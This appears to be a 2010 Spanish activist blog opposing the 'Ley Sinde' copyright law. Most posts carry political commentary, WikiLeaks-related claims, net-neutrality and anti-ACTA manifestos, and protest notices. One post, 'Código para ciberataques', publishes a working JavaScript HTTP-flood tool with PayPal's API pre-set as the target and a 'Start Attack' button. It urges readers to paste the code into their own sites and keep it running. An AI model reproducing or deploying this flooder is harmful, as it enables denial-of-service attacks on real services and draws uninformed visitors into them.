Mientras los cables iban y venían entre Madrid y Washington, algunos representaban el papel de no levantarse al paso de la bandera de E.E.U.U., en un alarde antiamericano de cara a la galería (de sus bases políticas). Lo que nadie sabía -y ahora ya tenemos las pruebas- es que no podía levantarse al paso de la bandera de las barras y estrellas porque prefería estar arrodillado ante ella con suma devoción, como luego demostrarían los acontecimientos.

Cables que iban y venían sobre la necesidad de retirar la circular de la Fiscalía General del Estado que reconoce lo que todos sabemos, que compartir sin ánimo de lucro no es delito. Entradas y salidas continuas de la Lista 301, una falsa lista sobre la "piratería" que se usa como instrumento de presión sobre naciones soberanas. Y finalmente, en vista de que no se conseguían los resultados buscados, se promueve una legislación desde Washington para saltarse la autoridad judicial a la torera.

Y el gobierno, de nuevo arrodillado e incapaz de cumplir los deseos iniciales de Washington, se blinda mediante un "estado de alarma" -la Ley Sinde- para decretar el cierre de una página web en sólo cuatro días. Una ley que, como no tiene cabida en nuestro ordenamiento jurídico, se trata de sacar adelante escondida y casi por decreto, para poder así perseguir, censurar y finalmente cerrar todo aquello de Internet que no gusta al poder.

Porque se gobierna también a golpe de "estado de alarma" cuando se permite que se pegue la patada en la puerta de un ciudadano que no ha hecho nada ilegal para requisar su ordenador

Y se gobierna también a golpe de "estado de alarma" cuando se permite que se trate de hundir a una ciudadana cuyo mayor "delito" es regentar una tienda de venta de productos informáticos

Hoy, con Julian Assange entre rejas y pocos dispuestos a defenderlo, tiene sentido más que nunca la cita de Martin Niemöller:

Cuando los nazis vinieron a llevarse a los comunistas, guardé silencio, porque yo no era comunista.

Cuando encarcelaron a los socialdemócratas, guardé silencio, porque yo no era socialdemócrata.

Cuando vinieron a buscar a los sindicalistas, no protesté, porque yo no era sindicalista.

Cuando vinieron a llevarse a los judíos, no protesté, porque yo no era judío.

Cuando vinieron a buscarme, no había nadie más que pudiera protestar.

Si permitimos estos atropellos a la democracia y a los derechos civiles, nunca podremos exigir a nadie que venga a salvarnos, porque habremos cedido nosotros también a la presión y ya no quedará nadie que pueda defendernos. La democracia no es gratis, debe ganarse cada día. Y lo que ha ocurrido estos días con la declaración del "estado de alarma" debería hacernos reflexionar a todos. Porque gobernar a golpe de "estado de alarma" revela la más absoluta inutilidad del poder para resolver los problemas siguiendo los cauces democráticos. Y por tanto, representa también el poco aprecio que le tiene un gobierno a la democracia misma.

Asociación de Internautas

Código para ciberataques

2010-12-10T13:10:00.000+01:00

ATENCIÓN

COPIA Y PEGA ESTE CODIGO EN TU PÁGINA O BLOG

NECESITAMOS TU AYUDA

<h2 style="font-size:15px;color:#1177CC;">
No necesitas descargar, instalar o configurar absolutamente nada. Tan solo pulsa el botón azul, sientate y disfruta del espectáculo.
</h2>
<h2 style="font-size:15px;">
No need to download, install or setup anything - just click the button, sit and enjoy the show.</h2>
<div style="width:100%; height:100%;">
<div style="width:240px; height:100px;">
<fieldset style="width:100%; height:100%;">
<legend>Paso 1. Selecciona el objetivo:</legend>
<label>URL:
<input id="targetURL" style="width:100%;" value="https://api.paypal.com:443/" /></label>
<small>Para ver el objetivo actual entra en: <a href="http://anonops.net/" style="color:#FFF;">http://anonops.net/</a></small>

</fieldset>
</div>

<div style="width:240px; height:100px;">
<fieldset style="width:100%; height:100%;">

<legend>Pasop 2. ¿Preparado?</legend>
<button id="fireButton" style="background-color:#336494; border-color:#FFF; color:#FFF; width:240px; height:70px; margin-top:-22px;">Empezar Ataque</button>
</fieldset>
</div>

<div style="width:240px; height:160px;">
<fieldset style="width:100%; height:100%;">
<legend>Optional. Options</legend>

<label>Respuestas por Segundo: <input style="width:40px;" id="rps" value="10" /></label>

<label>Añade un Mensaje:
<input style="width:100%;" id="message" value="" /></label>
</fieldset>
</div>

<div style="width:240px; height:160px;">
<fieldset style="width:100%; height:100%;">
<legend>Estado del Ataque:</legend>
<dl>
<dt>Respuestas:</dt>
<dd id="requestedCtr">0</dd>
<dt style="opacity: 0.5">Realizadas con éxito:</dt>
<dd style="opacity: 0.5" id="succeededCtr">0</dd>
<dt style="opacity: 0.5">Fallidas:</dt>
<dd style="opacity: 0.5" id="failedCtr">0</dd>          </dl>
</fieldset>
</div>

<div style="font-size:14px;">
We need your help in support of <a href="http://wikileaks.ch/" style="color:#1177CC;">wikileaks</a> leave this page firing as long as you can. Don't worry if requests show as failed.
</div>

<div style="font-size:14px;">
Necesitamos tu ayuda para poder dar soporte a <a href="http://wikileaks.ch/" style="color:#1177CC;">wikileaks</a> deja que la página se lance todo el tiempo que puedas. No te preocupes si las respuestas aparecen como fallidas.

Vía <a href="http://213.163.66.134/wikileaks/flood.html" style="color:#1177CC;">http://213.163.66.134/wikileaks/flood.html</a>
</div>
</div>
<script>
        (function () {

            var fireInterval;
            var isFiring = false;

            var requestedCtrNode = document.getElementById("requestedCtr"),
                succeededCtrNode = document.getElementById("succeededCtr"),
                failedCtrNode = document.getElementById("failedCtr"),
                targetURLNode = document.getElementById("targetURL"),
                fireButton = document.getElementById("fireButton"),
                messageNode = document.getElementById("message"),
                rpsNode = document.getElementById("rps"),
                timeoutNode = document.getElementById("timeout");

            var targetURL = targetURLNode.value;
            targetURLNode.onchange = function () {
                targetURL = this.value;
            };

            var requestsHT = {}; // requests hash table, may come in handy later

            var requestedCtr = 0,
                succeededCtr = 0,
                failedCtr = 0;

            var makeHttpRequest = function () {

     if (requestedCtr > failedCtr + succeededCtr + 1000) { //Allow no more than 1000 hung requests
      return;
     };

                    var rID =Number(new Date());
                    var img = new Image();
                    img.onerror = function () { onFail(rID); };
                    img.onabort = function () { onFail(rID); };
                    img.onload = function () { onSuccess(rID); }; // TODO: it may never happen if target URL is not an image... // but probably can be fixed with different methods

     img.setAttribute("src", targetURL + "?id=" + rID + "&msg=" + messageNode.value);
                    requestsHT[rID] = img;
                    onRequest(rID);
                };

            var onRequest = function (rID) {
                    requestedCtr++;
                    requestedCtrNode.innerHTML = requestedCtr;
                };

            var onComplete = function (rID) {
                    delete requestsHT[rID];
                };

            var onFail = function (rID) {
                   // failedCtr++;
                    //failedCtrNode.innerHTML = failedCtr;

     succeededCtr++; //Seems like the url will always fail it it isn't an image
                    succeededCtrNode.innerHTML = succeededCtr;

                    delete requestsHT[rID]; // we can't keep it forever or it would blow up the browser
                };

            var onSuccess = function (rID) {
                    succeededCtr++;
                    succeededCtrNode.innerHTML = succeededCtr;
                    delete requestsHT[rID];
                };

            fireButton.onclick = function () {
                if (isFiring) {
                    clearInterval(fireInterval);

                    isFiring = false;
                    this.innerHTML = "IMMA CHARGING MAH LAZER";
                } else {
                    isFiring = true;
                    this.innerHTML = "Stop flooding";

                    fireInterval = setInterval(makeHttpRequest, (1000 / parseInt(rpsNode.value) | 0));
                }
            };

        })();
    </script>

CiberAtaques

2010-12-10T12:26:00.012+01:00

No necesitas descargar, instalar o configurar absolutamente nada. Tan solo pulsa el botón azul, sientate y disfruta del espectáculo.

No need to download, install or setup anything - just click the button, sit and enjoy the show.

Paso 1. Selecciona el objetivo:
URL:

Para ver el objetivo actual entra en: http://anonops.net/

Paso 2. ¿Preparado?

Optional. Options
Peticiones por Segundo:
Añade un Mensaje:

Estado del Ataque:

Peticiones:: 0
Realizadas con éxito:: 0
Fallidas:: 0

We need your help in support of wikileaks leave this page firing as long as you can. Don't worry if requests show as failed.

Necesitamos tu ayuda para poder dar soporte a wikileaks, deja que la página se lance todo el tiempo que puedas. No te preocupes si las respuestas aparecen como fallidas.

Vía http://213.163.66.134/wikileaks/flood.html

Encontrarás el código fuente en:
http://gonzalez-sinde.blogspot.com/2010/12/codigo-para-ciberataques.html

Más mentiras y más gordas

2010-12-09T10:07:00.002+01:00

Por Enrique Dans:

La lectura de los documentos sobre propiedad intelectual y España revelados por El País es una de actividad francamente recomendable para un político de bien. Particularmente, si ha estado siguiendo minimamente los avatares que han rodeado al intento de cambio legislativo tendente al endurecimiento de todo aquello relacionado con las descargas a traves de Internet, una actividad desarrollada de manera habitual por millones de ciudadanos en todo el mundo y que en nuestro país, como bien podemos leer en esta Circular de la Fiscalía General del Estado, no son delito cuando no conllevan ánimo de lucro directo.

Si nuestro querido amigo político no ha ido siguiendo este tema, varios cientos de miles de ciudadanos sí lo hemos hecho. Lo hemos hecho con estupor, al ver cómo la música, contrariamente a lo que decían los agoreros, no solo no se moría, sino que parecía más viva y con mejor salud que nunca. Cómo los mayores taquillazos de la industria del cine se daban ahora, y no hace diez años cuando estas tecnologías no existían. Cómo aquellos que sabían adaptarse al nuevo entorno seguían ganando dinero, mientras únicamente determinados intermediarios y fósiles de la industria reclamaban histéricos que todo siguiera igual, a modo de demanda contra natura, de imposible parálisis del tiempo.

Lo hemos seguido además preocupados, al ver el cariz liberticida que estaba tomando el tema. Al ver como multiples fuerzas, incluidas aquellas que rara vez se alinean entre sí, iban cambiando sus opiniones como si fueran fichas de un dominó, para acabar dando origen a una ley absurda, peligrosa, a la consagración de una auténtica "justicia paralela" que amenazaba con retirar a los jueces la potestad para tomar decisiones sobre los casos relacionados con propiedad intelectual y entregársela a un siniestro organismo administrativo dependiente del propio Ministerio de Cultura, convertido además en "Ministerio de la Industria Cultural". El porqué España tenía dos ministerios de Industria, uno para la industria en general y otro para la industria cultural, era algo que permanecía en el misterio. Por qué España, cuya cultura podría claramente beneficiarse de una gestión de la propiedad intelectual innovadora y avanzada, optaba por querer parecerse a una realidad como la norteamericana, completa y radicalmente diferente en sus circunstancias e intereses, era algo que no cabía en el sentido común. Si todos los jueces, uno detrás de otro, estaban de acuerdo, ¿por qué cambiar de jueces, si lo que decían éstos tenía todo el sentido?

Finalmente, el misterio se ha revelado: TODO ERA MENTIRA. MENTIRA y GORDA. En realidad, como se desprende claramente de las comunicaciones filtradas por WikiLeaks, todo era parte de un plan maestro en el que España y sus políticos eran meros peones al servicio de una industria, de una serie de empresas norteamericanas. Comprobar hasta qué punto esas industrias, a través de la Embajada, han estado manipulando y amenazando a nuestros políticos es sencillamente sobrecogedor. Ver frases que evidencian ataques a quienes opinan diferente, intentos por cambiar la interpretación que se hace de las leyes locales y pactos internacionales por ser contraria a sus intereses, presiones y amenazas hace que a cualquiera le entre complejo de república bananera. como la famosa Lista 301, cuya falsedad y uso torticero queda patente, es utilizada como arma para obtener cambios y torcer voluntades es algo que te hace pensar.

La famosa Ley Sinde era, en realidad, made in USA. Los misteriosos cambios de opinión que pudimos los que, aquellos días de diciembre y enero, tuvimos la oportunidad de reunirnos con diversas fuerzas políticas para explicar nuestra actitud coinciden perfectamente con las presiones ejercidas por la embajada norteamericana, con las fechas de los distintos documentos filtrados, a cada cual más vergonzoso. Es momento de plantearse la responsabilidad de los intermediarios de la industria norteamericana en España, de esos que han estado encargando y dirigiendo informes en los que se calumniaba la imagen de España, haciéndola parecer "el paraíso de las descargas" cuando, en realidad, lo que descarga un español no difiere de lo que descarga un inglés, un francés o un norteamericano. Mentiras destinadas a forzar una acción que les permitiese obtener una legislación más acorde con sus intereses, que les permitiese seguir exprimiendo un mercado inexistente, que murió cuando la red sustituyó al plástico. Mentiras gordas que, además, hemos podido comprobar que venían de una injerencia extranjera, de una presión desarrollada en la oscuridad, de las auténticas cloacas de la política. Todo está muy claro. Hemos sido burdamente manipulados. Y ya no tienen argumentos.

Se acerca el momento de votar la Ley de Economía Sostenible. Sobre ella, hagan lo que políticamente crean que deban hacer. Pero fuercen la retirada de ese "pegote", de esa Disposición Final que nada pinta ahí y que llegó además de tan mala manera, de forma turbia, por manejos e intrigas palaciegas teledirigidas desde la embajada. Muchos miles de ciudadanos vamos a estar mirando, vigilando atentamente. Y no nos vamos a callar.

Mirrors WikiLeaks

2010-12-07T11:26:00.002+01:00

Suso Baleato

Wiki Leaks

Manifiesto por una Red Neutral

2010-11-30T16:28:00.001+01:00

(Si te sientes cómodo y representado por este texto, dale toda la difusión que puedas y quieras: reprodúcelo, enlázalo, tradúcelo, compártelo, vótalo… todas esas cosas que puedes hacer con total tranquilidad y libertad gracias, precisamente, al hecho de que tenemos todavía una red neutral. Hagamos posible el seguir teniéndola)

Los ciudadanos y las empresas usuarias de Internet adheridas a este texto MANIFESTAMOS:

Que Internet es una Red Neutral por diseño, desde su creación hasta su actual implementación, en la que la información fluye de manera libre, sin discriminación alguna en función de origen, destino, protocolo o contenido.
Que las empresas, emprendedores y usuarios de Internet han podido crear servicios y productos en esa Red Neutral sin necesidad de autorizaciones ni acuerdos previos, dando lugar a una barrera de entrada prácticamente inexistente que ha permitido la explosión creativa, de innovación y de servicios que define el estado de la red actual.
Que todos los usuarios, emprendedores y empresas de Internet han podido definir y ofrecer sus servicios en condiciones de igualdad llevando el concepto de la libre competencia hasta extremos nunca antes conocidos.
Que Internet es el vehículo de libre expresión, libre información y desarrollo social más importante con el que cuentan ciudadanos y empresas. Su naturaleza no debe ser puesta en riesgo bajo ningún concepto.
Que para posibilitar esa Red Neutral las operadoras deben transportar paquetes de datos de manera neutral sin erigirse en "aduaneros" del tráfico y sin favorecer o perjudicar a unos contenidos por encima de otros.
Que la gestión del tráfico en situaciones puntuales y excepcionales de saturación de las redes debe acometerse de forma transparente, de acuerdo a criterios homogéneos de interés público y no discriminatorios ni comerciales.
Que dicha restricción excepcional del tráfico por parte de las operadoras no puede convertirse en una alternativa sostenida a la inversión en redes.
Que dicha Red Neutral se ve amenazada por operadoras interesadas en llegar a acuerdos comerciales por los que se privilegie o degrade el contenido según su relación comercial con la operadora.
Que algunos operadores del mercado quieren "redefinir" la Red Neutral para manejarla de acuerdo con sus intereses, y esa pretensión debe ser evitada; la definición de las reglas fundamentales del funcionamiento de Internet debe basarse en el interés de quienes la usan, no de quienes la proveen.
Que la respuesta ante esta amenaza para la red no puede ser la inacción: no hacer nada equivale a permitir que intereses privados puedan de facto llevar a cabo prácticas que afectan a las libertades fundamentales de los ciudadanos y la capacidad de las empresas para competir en igualdad de condiciones.
Que es preciso y urgente instar al Gobierno a proteger de manera clara e inequívoca la Red Neutral, con el fin de proteger el valor de Internet de cara al desarrollo de una economía más productiva, moderna, eficiente y libre de injerencias e intromisiones indebidas. Para ello es preciso que cualquier moción que se apruebe vincule de manera indisoluble la definición de Red Neutral en el contenido de la futura ley que se promueve, y no condicione su aplicación a cuestiones que poco tienen que ver con ésta.

La Red Neutral es un concepto claro y definido en el ámbito académico, donde no suscita debate: los ciudadanos y las empresas tienen derecho a que el tráfico de datos recibido o generado no sea manipulado, tergiversado, impedido, desviado, priorizado o retrasado en función del tipo de contenido, del protocolo o aplicación utilizado, del origen o destino de la comunicación ni de cualquier otra consideración ajena a la de su propia voluntad. Ese tráfico se tratará como una comunicación privada y exclusivamente bajo mandato judicial podrá ser espiado, trazado, archivado o analizado en su contenido, como correspondencia privada que es en realidad.

Europa, y España en particular, se encuentran en medio de una crisis económica tan importante que obligará al cambio radical de su modelo productivo, y a un mejor aprovechamiento de la creatividad de sus ciudadanos. La Red Neutral es crucial a la hora de preservar un ecosistema que favorezca la competencia e innovación para la creación de los innumerables productos y servicios que quedan por inventar y descubrir. La capacidad de trabajar en red, de manera colaborativa, y en mercados conectados, afectará a todos los sectores y todas las empresas de nuestro país, lo que convierte a Internet en un factor clave actual y futuro en nuestro desarrollo económico y social, determinando en gran medida el nivel de competitividad del país. De ahí nuestra profunda preocupación por la preservación de la Red Neutral. Por eso instamos con urgencia al Gobierno español a ser proactivo en el contexto europeo y a legislar de manera clara e inequívoca en ese sentido.

NO a la Ley de economía sostenible - Disposición Final 2ª

2010-11-08T12:53:00.000+01:00

http://xmailer.hacktivistas.net/es/integrate

El canon es un abuso y no cumple la directiva europea

2010-10-21T11:18:00.001+02:00

La sentencia del Tribunal de Justicia de la Unión considera que la tasa sólo puede aplicarse a los particulares, pero no a personas jurídicas.- Empresas y administraciones quedan exentas

El cobro del canon digital en España, el impuesto que se aplica a la compra de todos los equipos, materiales y soportes de grabación y reproducción digital, es un abuso y no cumple la directiva comunitaria de los derechos de autor. Así lo acaba de dictaminar el Tribunal de Justicia de la Unión Europea (TJUE), que ha sentenciado que la tasa sólo puede cobrarse a los particulares, pero no a personas jurídicas, por lo que empresas y administraciones deben quedar exentas. "La aplicación del canon por copia privada a los soportes de reproducción adquiridos por empresas y profesionales para fines distintos de la copia privada no es conforme con el Derecho de la Unión", reza el dictamen. Tras conocer el dictamen, la ministra de Cultura, Angeles González-Sinde, ha anunciado que buscará "una alternativa" junto a "los otros países europeos que se van a ver afectados" por el fallo judicial. Actualmente, 22 de los 27 países de la Unión Europea -todos menos Irlanda, Reino Unido, Malta, Chipre y Luxemburgo- tienen este tipo de canon.

La sentencia no cuestiona la aplicación del canon, que supuso unos ingresos para los LADRONES de 90 millones de euros en 2009, y tampoco considera necesario "verificar" si las personas que adquieren estos equipos digitales para fines privados los destinan "efectivamente" a copiar contenidos protegidos por los derechos de autor. "Se presume legítimamente que dichas personas físicas se benefician íntegramente de tal puesta a disposición", es decir, se supone que explotan plenamente las funciones de que están dotados los equipos, incluida la de reproducción. Así pues, la "mera capacidad" de dichos equipos o aparatos para realizar copias "basta para justificar la aplicación del canon por copia privada, siempre y cuando dichos equipos o aparatos se hayan puesto a disposición de personas físicas en condición de usuarios privados", añade la sentencia.

En 22 de los 27 países de la UE

El TJUE devuelve ahora la pelota al tejado de la Audiencia de Barcelona, tribunal que planteo estas cuestiones, que deberá "apreciar, a la vista de las respuestas facilitadas, si el sistema español del canon por copia privada es compatible con la directiva". La sentencia se refiere al litigio que enfrenta a la SGAE con la empresa Padawan, que vende CD, DVD y MP3. Los LADRONES, que en 2009 recaudó 90 millones de euros por este concepto, reclamó a Padawan el pago de 16.759,25 euros correspondiente a los dispositivos de almacenamiento comercializados por dicha empresa entre septiembre de 2002 y septiembre de 2004.

Padawan se negaba a pagar el canon al considerar que no siempre se utilizan para grabar obras protegidas por derechos de autor, sino también para el registro de datos privados o empresariales. El caso acabó en la Audiencia Provincial de Barcelona, que preguntó al Tribunal de Justicia de la UE si el sistema de gravamen español se ajustaba a la normativa. El fallo hecho público esta mañana recoge las principales conclusiones de la abogada general Verica Trstenjak, que dictaminó en mayo que este gravamen es abusivo porque se impone indiscriminadamente a todos los equipos, aparatos y materiales de reproducción.

El canon lo reciben los autores, editores, productores y artistas en compensación por las copias que se hacen de sus trabajos en el ámbito privado. Se incorporó a la legislación española en 1987, en 2003 se amplió a CD y DVD y en 2007 se empezó a aplicar a las grabadoras de CD y DVD, MP3, MP4 y PDA. La legislación española permite la reproducción para uso privado, sin autorización del autor, de obras ya divulgadas. Y establece una retribución a tanto alzado a favor de los titulares de derechos, a cuyos efectos grava los equipos, aparatos y materiales de reproducción digital indiscriminadamente con un canon por copia privada. Los fabricantes, importadores o distribuidores han de abonar dicho canon a las entidades de gestión de los derechos de propiedad intelectual.

La mayoría de los países europeos, salvo Irlanda, Reino Unido, Malta, Chipre y Luxemburgo, aplican el canon. El Tribunal europeo también examina un caso similar al que enfrenta a los LADRONES con Padawan, y es también una petición prejudicial española: el caso de la Entidad de Gestión de Derechos de Productores Audiovisuales contra la sociedad Magnatrading. Otro caso holandés se pregunta quién debe pagar este tipo de canon, y otro asunto austriaco plantea la cuestión de a quién hay que pagar el canon por las reproducciones de obras cinematográficas.

La Unión Europea adopta la declaración contra el ACTA

2010-09-08T11:45:00.001+02:00

El ACTA (Acuerdo Comercial Antifalsificación) no será bienvenido en Europa en su actual forma. Así se desprende de la declaración adoptada por el Parlamento europeo, que con las firmas de 369 eurodiputados ha alcanzado la mayoría suficiente en la cámara. Ésta se posiciona en contra de las medidas más polémicas de este tratado que se negocia en secreto.

La declaración 12/2010 pide la protección de la neutralidad de los proveedores de Internet, que se apliquen las legislaciones subsidiarias de los estados y que los citados proveedores no sean considerados responsables de los datos que terceros transmiten o albergan en sus servicios. Éste era uno de los aspectos más polémicos de este tratado internacional del que se conocían datos a través de borradores filtrados ya que las negociaciones se mantienen en secreto.

Además, la declaración adoptada critica que el tratado "no debe imponer restricciones a las garantías procesales debidas ni debilitar derechos fundamentales como la libertad de expresión o el derecho a la intimidad". También destaca el peligro de introducir medidas penales en ámbitos que ya están regulados en los códigos civiles, otro de los aspectos que más críticas ha levantado en la Red ya que incluso se relacionó el intercambio de archivos con sanciones penales al considerarlo actividad de comercialización.

Desde la Red las reacciones de las distintas asociaciones por la protección de los derechos de los internautas no se han hecho esperar. Jéremie Zimmermann, portavoz de Quadrature du Net, dio las gracias a todos los ciudadanos por este "esfuerzo fantástico y gran resultado". Por su parte, François Castex, eurodiputado francés y uno de los más críticos con el tratado ha señalado que es "una gran victoria para aquellos que defienden los derechos fundamentales de los ciudadanos y la neutralidad de los intermediarios técnicos".

El siguiente paso es que el presidente del Parlamento oficialice la adopción de esta declaración que carece de incidencia jurídica pero que lanza un mensaje político muy claro sobre la posición que la Unión Europea debe adoptar ante el tratado. El ACTA se firmará de forma oficial a finales de este mes y será en las últimas semanas de este año cuando se debata su implantación en Europa. De momento, a no ser que no se tenga en cuenta esta declaración 12/2010, sería previsible el rechazo por parte de la comunidad política europea a este texto.

El maltrato animal es cultura

2010-07-30T09:39:00.002+02:00

La ministra de Cultura, Ángeles González-Sinde, respeta la decisión tomada por el Parlamento de Cataluña respecto a la prohibición de las corridas de toros, "aunque como aficionada, no lo comparto", ha declarado la titular de Cultura.

En una entrevista en el programa 'Hoy por hoy' de la cadena SER, Gónzalez-Sinde ha indicado que los toros "son cultura" y que tienen "sentido" y "vigencia" en 2010. Asimismo, ha declarado que se pueden ver como las "artes de representación de la vida". "Son un ritual que nos enfrenta a dilemas de la existencia muy profundos", ha alegado.

El Parlamento de Cataluña ha decidido prohibir la celebración de corridas de toros en este territorio a partir de 2012, en una ajustada votación en la que los diputados de CiU y PSC han decantado la balanza a favor de las tesis animalistas, respaldadas por ERC e ICV y rechazadas por PP y C's. Han votado a favor de la prohibición 68 diputados, 55 en contra y 9 abstenciones.

Opiniones de Artistas

2010-07-20T12:14:00.000+02:00

Recientemente, en una entrevista realizada en la Television de Galicia, Yosi (Cantante y lider de los Suaves) mostraba sus opiniones acerca del tema de la venta de discos y descargas de internet.

Libertad 2.0 convoca un acto “en defensa de nuestra libertad”

2010-04-27T11:45:00.001+02:00

La Plataforma Libertad 2.0, formada por una decena de asociaciones cívicas, que, como sabes, defiende la libertad de la red frente a la disposición final primera de la Ley de Economía Sostenible, tiene el gusto de invitaros a participar en los actos que ha organizado para el próximo viernes 30 de abril, a partir de las 18:00 horas. La jornada comenzará con una "performance" a lo largo de la cual representantes de diversas asociaciones cívicas procederán a enterrar la libertad de expresión y terminará con una mesa redonda a las 19:00 que, bajo el título "En defensa de nuestra libertad", expondrá los motivos más preocupantes de la legislación contra la libertad de la red y a favor de entidades privadas que el gobierno pretende imponer a los españoles. La mesa será moderada por el periodista Hermann Tertsch.

Performance "entierro"

Día 30 de abril de 2010

Hora: 18:00 horas

De la Plaza de las Ventas a la Avda. de los Toreros nº 5

Mesa redonda: "En defensa de nuestra libertad"
Día 30 de abril de 2010

Hora: 18:30 horas

Lugar: Centro Cultural Buenavista

Avda. de los Toreros nº 5

Madrid.

A lo largo de los próximos días os iremos informando de cuantas novedades haya. Si queréis adheriros como asociación/fundación/partido, enviad un mail a prensa@foro-liberal.org

El libro electrónico no tendrá IVA reducido

2010-04-13T17:59:00.001+02:00

Bruselas sólo permite que se beneficien de esta rebaja los libros en soporte físico, incluidos los que se comercializan en un CD o en un USB

La Comisión Europea confirmó hoy que la legislación comunitaria impide aplicar el IVA reducido a los libros electrónicos y sólo permite que se beneficien de esta rebaja del impuesto los libros en soporte físico, incluidos los que se comercializan en un CD o en un lápiz de memoria (USB), como los audiolibros.

La ministra de Cultura, Angeles González-Sinde, prometió en diciembre rebajar del 16% al 4% el tipo de IVA aplicable al libro electrónico, equiparándolo así al libro en papel. Pero Hacienda ha aclarado ahora que la rebaja se podrá aplicar sólo al libro electrónico entregado en soporte físico.

"Es cierto que los Estados miembros no pueden aplicar un tipo de IVA reducido a los 'e-books'", explicó a Europa Press la portavoz de Fiscalidad de la Comisión, Emer Traynor. La normativa comunitaria permite aplicar el IVA reducido o superreducido (en el caso de España, el 4%) a los libros y otros materiales impresos como periódicos o revistas.

Soportes físicosEn la reforma de la directiva aprobada el año pasado se precisó que la rebaja podía aplicarse a "libros en todos los soportes físicos" para incluir los audiolibros. Sin embargo, la Comisión considera que "las excepciones que pueden beneficiarse de un tipo de IVA reducido o superreducido deben aplicarse estrictamente" para evitar que los Estados miembros extiendan por su cuenta el alcance de la legislación.

"Los libros y los audiolibros no son lo mismo que los libros electrónicos. Por lo que se refiere al IVA, los libros y los audiolibros se consideran productos (porque son cosas físicas como CDs), mientras que los 'e-books' se consideran servicios (son virtuales)", explicó Traynor. "Las reglas del IVA para productos y para servicios son bastante diferentes y por ello las reglas que se aplican a libros y audiolibros no pueden extenderse automáticamente a los libros electrónicos", concluyó la portavoz.

El Pais

Intercambio de contenidos delante de la SGAE por el Invernadero de Lavapiés

2010-04-06T10:07:00.001+02:00

Hace unas semanas os informamos e invitamos a participar en una reunión convocada por el Invernadero de Lavapiés, en la que se iba a hablar de cómo organizar una ruta pirata delante de la SGAE con la intención de reivindicar Internet como un espacio libre y neutro. Como asistente a dos de estas reuniones puedo decir que se le ha dado muchas vueltas, no se quería dar una mala imagen, ni llevar a confusión algunos términos, por lo que finalmente se ha convocado y denominado "El placer del intercambio" haciendo honor a lo que Internet nos permite y que es su mayor valor: el intercambio de contenidos, de todo tipo de contenidos: música, películas, libros,...

Sabemos que somos muchos los internautas que estamos en contra de la SGAE, pero queremos demostrarlo físicamente, así que apúntante en tu agenda el 16 de abril, a partir de las 18:00, apaga el ordenador o déjalo encendido descargando películas o subiendo otras, pero tú levántate de la silla, despégate de la pantalla por una buena causa, piensa que si no te despegas puede que mañana no puedas ver, escuchar o compartir esa película o canción que tanto te gusta. Así que vente a la puerta de la SGAE, la sede que está en la calle Fernando IV, número 4.

Objetivo:
Visualizar que internet es un espacio libre y neutro, y que no es un medio como los anteriores de otras épocas y otros contextos, en esta libertad está su esencia, y el intercambio libre de contenidos es una de las muchas cosas que se pueden hacer en este medio.

Si se coarta esta libertad se está eliminando el medio del siglo XXI por excelencia. Ya no sería internet, sería otra cosa.
Lo lógico es que las industrias y los contenidos se adapten a los tiempos y no al revés.

Acción:

Participa trayendo soportes digitales: cds, pendrives, o soportes físicos como puede ser un libro, fotos,... o lo que sea, en una mochila, bolsa, caja cubo, cualquier cosa, para intercambiárnoslos delante de la SGAE en una gran manta "blanca" que simbolizará un internet libre y neutro.

Para hacer honor a la carga: volcaremos todos los contenidos en la manta para compartirlos con el resto de los participantes
Y para hacer honor a la descarga: Cada participante se llevara los contenidos cargados que más le interesen

Dónde y cuándo:

Delante de la SGAE, en la calle Fernando VI 4, el viernes 16 de Abril a las 18.30h. Y luego seguiremos de ruta o nos iremos a un bar

Esto es una convocatoria abierta para tod@s aquellos que no están conformes con la ley que permite cerrar webs con links de descarga directa. Una oportunidad para expresar físicamente y creativamente nuestra inconformidad con dicha ley.

Link

Aviso: Ésta es la información que te ofrece nuestro corresponsal ciudadano. Si crees que puedes ampliarla, que está equivocado o posees otra información que la pueda completar, anímate y comenta ésta o publica una noticia nueva. Si aún no estás registrado, crea tu cuenta aquí. En este sitio, la información está hecha por ti.

________________________
Mari Trini Giner
Community Manager de http://www.lavapieshoy.es

Manifiesto 'En defensa de los Derechos en Internet' II

2010-03-22T11:34:00.001+01:00

El Consejo de Ministros aprobará hoy viernes en Sevilla – en pleno puente de San José – ese engendro llamado "Ley de Economía Sostenible", que incluye la conocida como "Ley Sinde", que permitirá el cierre de páginas web en sólo cuatro días. Me sumo a los blogs que republican hoy el manifiesto conjunto del pasado mes de diciembre. Es la primera vez en este blog que se repite una entrada, pero la extrema gravedad del tema lo merece. Si tienes página en la red, si publicaste en su momento el manifiesto, si no lo publicaste pero has seguido este tema y te hubiera gustado hacerlo, si la red es para ti algo importante; te invito a hacer lo mismo:

Manifiesto "En defensa de los derechos fundamentales en internet"

1.- Los derechos de autor no pueden situarse por encima de los derechos fundamentales de los ciudadanos, como el derecho a la privacidad, a la seguridad, a la presunción de inocencia, a la tutela judicial efectiva y a la libertad de expresión.

2.- La suspensión de derechos fundamentales es y debe seguir siendo competencia exclusiva del poder judicial. Ni un cierre sin sentencia. Este anteproyecto, en contra de lo establecido en el artículo 20.5 de la Constitución, pone en manos de un órgano no judicial – un organismo dependiente del ministerio de Cultura -, la potestad de impedir a los ciudadanos españoles el acceso a cualquier página web.

3.- La nueva legislación creará inseguridad jurídica en todo el sector tecnológico español, perjudicando uno de los pocos campos de desarrollo y futuro de nuestra economía, entorpeciendo la creación de empresas, introduciendo trabas a la libre competencia y ralentizando su proyección internacional.

4.- La nueva legislación propuesta amenaza a los nuevos creadores y entorpece la creación cultural. Con Internet y los sucesivos avances tecnológicos se ha democratizado extraordinariamente la creación y emisión de contenidos de todo tipo, que ya no provienen prevalentemente de las industrias culturales tradicionales, sino de multitud de fuentes diferentes.

5.- Los autores, como todos los trabajadores, tienen derecho a vivir de su trabajo con nuevas ideas creativas, modelos de negocio y actividades asociadas a sus creaciones. Intentar sostener con cambios legislativos a una industria obsoleta que no sabe adaptarse a este nuevo entorno no es ni justo ni realista. Si su modelo de negocio se basaba en el control de las copias de las obras y en Internet no es posible sin vulnerar derechos fundamentales, deberían buscar otro modelo.

6.- Consideramos que las industrias culturales necesitan para sobrevivir alternativas modernas, eficaces, creíbles y asequibles y que se adecuen a los nuevos usos sociales, en lugar de limitaciones tan desproporcionadas como ineficaces para el fin que dicen perseguir.

7.- Internet debe funcionar de forma libre y sin interferencias políticas auspiciadas por sectores que pretenden perpetuar obsoletos modelos de negocio e imposibilitar que el saber humano siga siendo libre.

